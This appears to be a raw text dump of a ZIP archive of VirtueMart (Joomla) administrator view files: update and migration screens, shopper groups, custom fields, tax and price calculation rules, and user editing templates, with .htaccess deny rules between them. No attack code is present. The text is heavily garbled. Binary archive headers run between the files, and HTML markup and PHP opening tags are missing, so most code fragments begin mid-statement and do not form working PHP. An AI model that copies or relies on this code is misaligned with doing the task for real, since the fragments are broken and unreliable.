PKtl>\_com_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/index.htmlnuW+APKtl>\)^com_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/.htaccessnuW+A Order allow,deny Deny from all PKtl>\dcom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/index.htmlnuW+APKtl>\)ccom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\/ lcom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/default_update.phpnuW+A

      latestVersion) { echo "

      " . $this->latestVersion . "

      "; } else {?>  [] latestVersion) { if (version_compare($this->latestVersion, VmConfig::getInstalledVersion(), '>') == 1) { ?>
      PKtl>\!?\i55lcom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/update_preview.phpnuW+A


      • :
      • :
      '; $class = $is_writable ? 'writable' : 'unwritable'; $msg = $is_writable ? JText::_('COM_VIRTUEMART_UPDATE_PATCH_WRITABLE') : JText::_('COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE'); echo '\n"; } ?>
      '.$file.''.$msg."
      ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC') . ':'; echo ''; foreach($packageContents['queryArr'] as $query) { echo '
      '.$query. "
      "; } echo ''; } if( $valid ) { echo '


      '; } else { echo '
      ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE').'
      '; } $formObj->finishForm('applypatchpackage', 'admin.update_result'); ?>
      PKtl>\kecom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/default.phpnuW+A 'COM_VIRTUEMART_UPDATE_TOOLS_TAB', 'migrator' => 'COM_VIRTUEMART_MIGRATION_TAB' ) ); AdminUIHelper::endAdminArea(); PKtl>\ecom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/install.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
      PKtl>\R{Gkcom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/default_tools.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
      PKtl>\gncom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/default_migrator.phpnuW+A
      get('reWriteOrderNumber', 1, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRATION_USER_ORDER_ID','userOrderId',$session->get('userOrderId', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_SGRP_PRICES','userSgrpPrices',$session->get('userSgrpPrices', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_PORTFLY','portFlypages',$session->get('portFlypages', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_BROWSE','migration_default_category_browse',$session->get('migration_default_category_browse', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_FLY','migration_default_category_fly',$session->get('migration_default_category_fly', 0, 'vm')); ?>

      '; @ini_set( 'max_execution_time', $max_execution_time+1 ); $new_max_execution_time = ini_get('max_execution_time'); if($max_execution_time===$new_max_execution_time){ echo 'Server settings do not allow changes of your max_execution_time in the php.ini file, you may get problems migrating a big shop'; } else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME').''; } @ini_set( 'max_execution_time', $max_execution_time ); echo '
      '; $memory_limit = ini_get('memory_limit'); echo 'memory_limit '.$memory_limit; echo '
      '; if($memory_limit!=='128MB'){ // @ini_set( 'memory_limit', '128MB' ); // $new_memory_limit = ini_get('memory_limit'); // if($memory_limit===$new_memory_limit){ // echo 'Server settings do not allow changes of your memory_limit in the php.ini file, you may get problems migrating a big shop'; // }else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT').''; // } // @ini_set( 'max_execution_time', $memory_limit ); } ?>
      JText::_('COM_VIRTUEMART_UPDATE_GENERAL'), 'migrateUsersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_USERS'), 'migrateProductsFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_PRODUCTS'), 'migrateOrdersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_ORDERS'), 'migrateAllInOne' => JText::_('COM_VIRTUEMART_UPDATE_ALL'), 'portVmAttributes' => JText::_('COM_VIRTUEMART_UPDATE_ATTR').'
      '.JText::_('COM_VIRTUEMART_UPDATE_ATTR_2'), 'portVmRelatedProducts' => JText::_('COM_VIRTUEMART_UPDATE_REL'), // 'setStoreOwner' => JText::_('COM_VIRTUEMART_SETSTOREOWNER') ); echo VmHTML::radioList('task', $session->get('migration_task', 'migrateAllInOne', 'vm'), $options); ?>

      */ ?>PKtl>\1licom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/tmpl/insfinished.phpnuW+Aload('com_virtuemart.sys',JPATH_ADMINISTRATOR,'en_GB',true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,'en_GB',true); //load specific language $lang->load('com_virtuemart.sys',JPATH_ADMINISTRATOR,null,true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,null,true);*/ $update = vRequest::getInt('update',0); $option = vRequest::getString('option'); if($option=='com_virtuemart'){ if (!class_exists('AdminUIHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'adminui.php'); if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); AdminUIHelper::startAdminArea($this); } ?>
      Cart

      '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } else { echo vmText::_('COM_VIRTUEMART_INSTALLATION_SUCCESSFUL'); echo '
      '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } ?>


      setQuery($q); $productsExists = $db->loadResult(); if(!$productsExists){ ?>
      PKtl>\hQQbcom_virtuemart_update/administrator/components/com_virtuemart/views/updatesmigration/view.html.phpnuW+AassignRef('checkbutton_style', $checkbutton_style); $this->assignRef('downloadbutton_style', $downloadbutton_style); $this->assignRef('latestVersion', $latestVersion); $freshInstall = JRequest::getInt('install',0); if($freshInstall){ $this->setLayout('install'); } parent::display($tpl); } } // pure php no closing tag PKtl>\[com_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/index.htmlnuW+APKtl>\)_com_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\=;PP^com_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/tmpl/edit.phpnuW+AaddScriptDeclaration($js); AdminUIHelper::startAdminArea($this); AdminUIHelper::imitateTabs('start', 'COM_VIRTUEMART_SHOPPERGROUP_NAME'); ?>
      shoppergroup->shopper_group_name); ?> shoppergroup->published); ?> * */ ?> shoppergroup->default == 1) { ?> shoppergroup->shopper_group_desc); ?>
      vendorList; ?>
      <?php echo JText::_('Default'); ?>
      shoppergroup->custom_price_display,1,0,$attributes) ?>
      shoppergroup->price_display, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
      shoppergroup->price_display->get('show_prices')); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\jacom_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/tmpl/default.phpnuW+A
      showVendors){ ?> shoppergroups ); $i < $n; $i++) { $row = $this->shoppergroups[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id,null,'virtuemart_shoppergroup_id'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shoppergroup&task=edit&virtuemart_shoppergroup_id[]=' . $row->virtuemart_shoppergroup_id); ?> showVendors){ ?>
      sort('virtuemart_shoppergroup_id', 'COM_VIRTUEMART_ID') ?>
      shopper_group_name); ?> shopper_group_desc); ?> default == 1) { if (JVM_VERSION===1) { ?> <?php echo JText::_( 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT' ); ?>   virtuemart_vendor_id; ?> virtuemart_shoppergroup_id; ?>
      sgrppagination->getListFooter(); ?>
      addStandardHiddenToForm($this->_name,$this->task); ?>
      PKtl>\`com_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/tmpl/index.htmlnuW+APKtl>\M ^com_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/view.html.phpnuW+AassignRef('perms', Permissions::getInstance()); $model = VmModel::getModel(); $layoutName = $this->getLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if ($layoutName == 'edit') { //For shoppergroup specific price display VmConfig::loadJLang('com_virtuemart_config'); $shoppergroup = $model->getShopperGroup(); $this->SetViewTitle('SHOPPERGROUP',$shoppergroup->shopper_group_name); $vendors = ShopFunctions::renderVendorList($shoppergroup->virtuemart_vendor_id); $this->assignRef('vendorList', $vendors); $this->assignRef('shoppergroup', $shoppergroup); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); JToolBarHelper::makeDefault(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shoppergroups = $model->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $pagination = $model->getPagination(); $this->assignRef('sgrppagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKtl>\)Zcom_virtuemart_update/administrator/components/com_virtuemart/views/shoppergroup/.htaccessnuW+A Order allow,deny Deny from all PKtl>\n Xcom_virtuemart_update/administrator/components/com_virtuemart/views/custom/view.json.phpnuW+AsetQuery( $query ); $json = $db->loadObject(); if (isset($json->file_url)) { $json->file_url = JURI::root().$json->file_url; $json->msg = 'OK'; echo json_encode($json); } else { $json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo json_encode($json); } } elseif ( $custom_jplugin_id = JRequest::getInt('custom_jplugin_id') ) { if (JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $ext_id . '` = "'.$custom_jplugin_id.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin->params, $this->plugin->element , 'plugin' ,'vmcustom'); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $filename = 'plg_vmcustom_' . $this->plugin->element; vmPlugin::loadJLang($filename,'vmcustom',$this->plugin->element); echo $parameters->render(); echo ''; jExit(); } jExit(); } } // pure php no closing tag PKtl>\#o,,Ucom_virtuemart_update/administrator/components/com_virtuemart/views/custom/index.htmlnuW+APKtl>\9|Xcom_virtuemart_update/administrator/components/com_virtuemart/views/custom/view.html.phpnuW+ASetViewTitle('PRODUCT_CUSTOM_FIELD'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->addStandardEditViewCommands(); $customPlugin = ''; if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $custom = $model->getCustom(); $customfields = VmModel::getModel('customfields'); // vmdebug('VirtuemartViewCustom',$custom); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmOnDisplayEdit',array($custom->virtuemart_custom_id,&$customPlugin)); $this->SetViewTitle('PRODUCT_CUSTOM_FIELD', $custom->custom_title); $selected=0; if(!empty($custom->custom_jplugin_id)) { $selected = $custom->custom_jplugin_id; } $pluginList = self::renderInstalledCustomPlugins($selected); $this->assignRef('customPlugin', $customPlugin); $this->assignRef('pluginList',$pluginList); $this->assignRef('custom', $custom); $this->assignRef('customfields', $customfields); } else { JToolBarHelper::custom('createClone', 'copy', 'copy', JText::_('COM_VIRTUEMART_CLONE'), true); JToolBarHelper::custom('toggle.admin_only.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.admin_only.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.is_hidden.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); JToolBarHelper::custom('toggle.is_hidden.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $customs = $model->getCustoms(JRequest::getInt('custom_parent_id'),JRequest::getWord('keyword')); $this->assignRef('customs', $customs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledCustomPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmcustom" AND `'.$enable.'`="1" '; $db->setQuery($q); $results = $db->loadAssocList($ext_id); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $lang =JFactory::getLanguage(); foreach ($results as $result) { //$filename = 'plg_vmcustom_' . $this->plugin->element; $filename = 'plg_' .strtolower ( $result['name']).'.sys'; vmPlugin::loadJLang($filename,'vmcustom',$result['name']); } return VmHTML::select( 'custom_jplugin_id', $results, $selected,"",$ext_id, 'name'); //return JHtml::_('select.genericlist', $result, 'custom_jplugin_id', null, $ext_id, 'name', $selected); } } // pure php no closing tagPKtl>\ElZcom_virtuemart_update/administrator/components/com_virtuemart/views/custom/tmpl/index.htmlnuW+A PKtl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\|5 5 Xcom_virtuemart_update/administrator/components/com_virtuemart/views/custom/tmpl/edit.phpnuW+A
      customfields->addHidden('view', 'custom'); $this->customfields->addHidden('task', ''); $this->customfields->addHidden(JUtility::getToken(), 1); //if ($this->custom->custom_parent_id) $this->customfields->addHidden('custom_parent_id',$this->custom->custom_parent_id); $attribute_id = JRequest::getVar('attribute_id', ''); if (!empty($attribute_id)) $this->customfields->addHidden('attribute_id', $attribute_id); ?> customfields->displayCustomFields($this->custom); ?>
      pluginList ?>
      customPlugin)) { ?> customPlugin, $this->customPlugin->custom_element, 'plugin', 'vmcustom'); echo $rendered = $parameters->render(); ?>
      customPlugin->custom_jplugin_id)) { ?>
      PKtl>\Ȟ[com_virtuemart_update/administrator/components/com_virtuemart/views/custom/tmpl/default.phpnuW+A
      customs->items; //$roles = $this->customlistsroles; ?> $custom) { $checked = JHTML::_('grid.id', $i , $custom->virtuemart_custom_id,false,'virtuemart_custom_id'); if (!is_null($custom->virtuemart_custom_id)) $published = JHTML::_('grid.published', $custom, $i ); else $published = ''; ?> custom_parent_id."&option=".$option; ?> virtuemart_custom_id; if ($custom->is_cart_attribute) $cartIcon= 'default'; else $cartIcon= 'default-off'; ?>
      sort('ordering') ?> sort('virtuemart_custom_id', 'COM_VIRTUEMART_ID') ?>
      hasKey($custom->custom_parent_title) ? JText::_($custom->custom_parent_title) : $custom->custom_parent_title; echo JHTML::_('link', JRoute::_($link,FALSE),$text, array('title' => JText::_('COM_VIRTUEMART_FILTER_BY').' '.$text)); ?> custom_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$custom->custom_title)); ?> custom_field_desc; ?> field_type_display; ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_custom_id; ?>
      pagination->getListFooter(); ?>
      PKtl>\)Tcom_virtuemart_update/administrator/components/com_virtuemart/views/custom/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Scom_virtuemart_update/administrator/components/com_virtuemart/views/calc/index.htmlnuW+APKtl>\%:*ZZVcom_virtuemart_update/administrator/components/com_virtuemart/views/calc/view.html.phpnuW+AassignRef('perms', $perms); //@todo should be depended by loggedVendor $vendorId=1; $this->assignRef('vendorId', $vendorId); $db = JFactory::getDBO(); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $calc = $model->getCalc(); $this->assignRef('calc', $calc); $isNew = ($calc->virtuemart_calc_id < 1); if ($isNew) { $db = JFactory::getDBO(); //get default currency of the vendor, if not set get default of the shop $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "'.$vendorId.'"'; $db->setQuery($q); $currency= $db->loadResult(); if(empty($currency)){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "1" '; $db->setQuery($q); $currency= $db->loadResult(); $calc->calc_currency = $currency; } else { $calc->calc_currency = $currency; } } $entryPointsList = self::renderEntryPointsList($calc->calc_kind); $this->assignRef('entryPointsList',$entryPointsList); $mathOpList = self::renderMathOpList($calc->calc_value_mathop); $this->assignRef('mathOpList',$mathOpList); /* Get the category tree */ $categoryTree= null; if (isset($calc->calc_categories)){ $calc_categories = $calc->calc_categories; $categoryTree = ShopFunctions::categoryListTree($calc_categories); }else{ $categoryTree = ShopFunctions::categoryListTree(); } $this->assignRef('categoryTree', $categoryTree); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); /* Get the shoppergroup tree */ $shopperGroupList= ShopFunctions::renderShopperGroupList($calc->virtuemart_shoppergroup_ids,True); $this->assignRef('shopperGroupList', $shopperGroupList); $countriesList = ShopFunctions::renderCountryList($calc->calc_countries,True); $this->assignRef('countriesList', $countriesList); $statesList = ShopFunctions::renderStateList($calc->virtuemart_state_ids,'', True); $this->assignRef('statesList', $statesList); $manufacturerList= ShopFunctions::renderManufacturerList($calc->virtuemart_manufacturers,true); $this->assignRef('manufacturerList', $manufacturerList); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($calc->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands(); } else { if((Vmconfig::get('multix','none')!='none') && $this->perms->check( 'admin' )){ JToolBarHelper::custom('toggle.shared.1', 'publish', 'yes', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_ON'), true); JToolBarHelper::custom('toggle.shared.0', 'unpublish', 'no', JText::_('COM_VIRTUEMART_SHARED_TOGGLE_OFF'), true); } $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $search = JRequest::getWord('search', false); $calcs = $model->getCalcs(false, false, $search); $this->assignRef('calcs', $calcs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } /** * Builds a list to choose the Entrypoints * When you want to add extra Entrypoints, look in helpers/calculationh.php for mor information * * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderEntryPointsList($selected){ //MathOp array $entryPoints = array( '0' => array('calc_kind' => 'Marge', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_PMARGIN')), '1' => array('calc_kind' => 'DBTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAX')), '2' => array('calc_kind' => 'Tax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAX')), '3' => array('calc_kind' => 'VatTax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_VATTAX')), '4' => array('calc_kind' => 'DATax', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAX')), '5' => array('calc_kind' => 'DBTaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL')), '6' => array('calc_kind' => 'TaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_TAXBILL')), '7' => array('calc_kind' => 'DATaxBill', 'calc_kind_name' => JText::_('COM_VIRTUEMART_CALC_EPOINT_DATAXBILL')), ); $listHTML = JHTML::_('Select.genericlist', $entryPoints, 'calc_kind', '', 'calc_kind', 'calc_kind_name', $selected ); return $listHTML; } /** * Builds a list to choose the mathematical operations * When you want to add extra operations, look in helpers/calculationh.php for more information * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param $selected the selected values, may be single data or array * @return $list list of the Entrypoints */ function renderMathOpList($selected){ //MathOp array $mathOps = array( '0' => array('calc_value_mathop' => '+', 'calc_value_mathop_name' => '+'), '1' => array('calc_value_mathop' => '-', 'calc_value_mathop_name' => '-'), '2' => array('calc_value_mathop' => '+%', 'calc_value_mathop_name' => '+%'), '3' => array('calc_value_mathop' => '-%', 'calc_value_mathop_name' => '-%') ); if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $answer = $dispatcher->trigger('plgVmAddMathOp', array(&$mathOps)); $listHTML = JHTML::_('Select.genericlist', $mathOps, 'calc_value_mathop', '', 'calc_value_mathop', 'calc_value_mathop_name', $selected ); return $listHTML; } } // pure php no closing tagPKtl>\iVcom_virtuemart_update/administrator/components/com_virtuemart/views/calc/tmpl/edit.phpnuW+A\Xcom_virtuemart_update/administrator/components/com_virtuemart/views/calc/tmpl/index.htmlnuW+APKtl>\J..Ycom_virtuemart_update/administrator/components/com_virtuemart/views/calc/tmpl/default.phpnuW+A

      perms->check( 'admin' )){ ?> */ ?> */ ?> perms->check( 'admin' )){ ?> */ ?> calcs ); $i < $n; $i++) { $row = $this->calcs[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_calc_id); $published = JHTML::_('grid.published', $row, $i); $shared = $this->toggle($row->shared, $i, 'toggle.shared'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=calc&task=edit&cid[]=' . $row->virtuemart_calc_id); ?> "> perms->check( 'admin' )){ ?> calc_shopper_published ? 'tick.png' : 'publish_x.png')); ?> */ ?> calc_amount_cond; ?> */ ?>
      sort('calc_name', 'COM_VIRTUEMART_NAME') ; ?> sort('calc_descr' , 'COM_VIRTUEMART_DESCRIPTION'); ?> sort('ordering') ; ?> sort('calc_kind') ; ?> sort('calc_value' , 'COM_VIRTUEMART_VALUE'); ?> sort('calc_currency' , 'COM_VIRTUEMART_CURRENCY'); ?> St.Kraft 2013-02-24 ?> sort('publish_up' , 'COM_VIRTUEMART_START_DATE'); ?> sort('publish_down' , 'COM_VIRTUEMART_END_DATE'); ?> sort('virtuemart_calc_id', 'COM_VIRTUEMART_ID') ?>
      calc_name; ?> virtuemart_vendor_id; ?> calc_descr; ?> ordering; ?> calc_kind; ?> calc_value_mathop; ?> calc_value; ?> currencyName; ?> calcCategoriesList; ?> calcManufacturersList; /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calcShoppersList; ?> calc_vendor_published ? 'tick.png' : 'publish_x.png')); ?> publish_up, 'LC4',true); ?> publish_down, 'LC4',true); ?> calc_amount_dimunit); ?> calcCountriesList); ?> calcStatesList); ?> virtuemart_calc_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\_.VV[com_virtuemart_update/administrator/components/com_virtuemart/views/calc/tmpl/edit_calc.phpnuW+Atrigger('plgVmOnDisplayEdit', array('vmcalculation' , $html)); // print_r( $returnValues ); // vmdebug('pluginstuff',$returnValues); ?>
      calc->calc_name); ?> calc->published); ?> perms->check('admin') ){ echo VmHTML::row('checkbox','COM_VIRTUEMART_SHARED', 'shared', $this->calc->shared ); } ?> calc->ordering,'class="inputbox"','',4,4); ?> calc->calc_descr,'class="inputbox"','',70,255); ?> entryPointsList ); ?> mathOpList ); ?> calc->calc_value); ?> currencies ,$this->calc->calc_currency,'','virtuemart_currency_id', 'currency_name',false) ; ?> shopperGroupList ); ?> countriesList ); ?> statesList ); ?> manufacturerList ); /* Mod. St.Kraft 2013-02-24 Herstellerrabatt */ ?> calc->calc_shopper_published); ?> calc->calc_vendor_published); ?> calc->publish_up, 'publish_up') ); ?> calc->publish_down, 'publish_down') ); ?>
      trigger('plgVmOnDisplayEdit', array(&$this->calc,&$html)); echo $html; if(Vmconfig::get('multix','none')!=='none' and $this->perms->check('admin') ){ echo VmHTML::row('raw','COM_VIRTUEMART_VENDOR', $this->vendorList ); } ?>
      addStandardHiddenToForm(); ?>
      PKtl>\)Wcom_virtuemart_update/administrator/components/com_virtuemart/views/calc/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)Rcom_virtuemart_update/administrator/components/com_virtuemart/views/calc/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Scom_virtuemart_update/administrator/components/com_virtuemart/views/user/index.htmlnuW+APKtl>\)Rcom_virtuemart_update/administrator/components/com_virtuemart/views/user/.htaccessnuW+A Order allow,deny Deny from all PKtl>\w·  Ycom_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/default.phpnuW+A
      userList); $i < $n; $i++) { $row = $this->userList[$i]; $checked = JHTML::_('grid.id', $i, $row->id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $row->id); $is_vendor = $this->toggle($row->is_vendor, $i, 'toggle.user_is_vendor'); ?>
      sort('ju.username', 'COM_VIRTUEMART_USERNAME') ?> sort('ju.name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME') ?> sort('shopper_group_name', 'COM_VIRTUEMART_SHOPPERGROUP') ?>
      username; ?> name; ?> email; ?> perm->getPermissions($row->id); // if(empty($row->perms)) $row->perms = 'shopper'; // echo $row->perms . ' / (' . $row->usertype . ')'; ?> shopper_group_name)) $row->shopper_group_name = $this->defaultShopperGroup; echo $row->shopper_group_name; ?> id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\ޤ^com_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit_shopper.phpnuW+A
      lists['vendors']; ?>
      userDetails->perms; ?>
      lists['shoppergroups']; ?>
      userDetails->JUser->get('id') ) { ?>
      lists['shipTo']; ?>
      userFieldsBT['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->userFieldsBT['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->userFieldsBT['fields']); } else { $_field = next($this->userFieldsBT['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
      '."\n"; } $_set = true; echo '
      '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      '."\n"; } if ($_set) { echo '
      '."\n"; } echo $_hiddenFields; ?>
      lists['canBlock']) : ?> lists['canSetMailopt']) : ?> userDetails->JUser ) : ?>
      lists['block']; ?>
      lists['sendEmail']; ?>
      userDetails->JUser->get('registerDate');?>
      userDetails->JUser->get('lastvisitDate'); ?>
      lists['params'], 'render'))) { echo $this->lists['params']->render('params'); } ?>
      contactDetails ) { ?>




      contactDetails->image) { ?>
      : contactDetails->name;?>
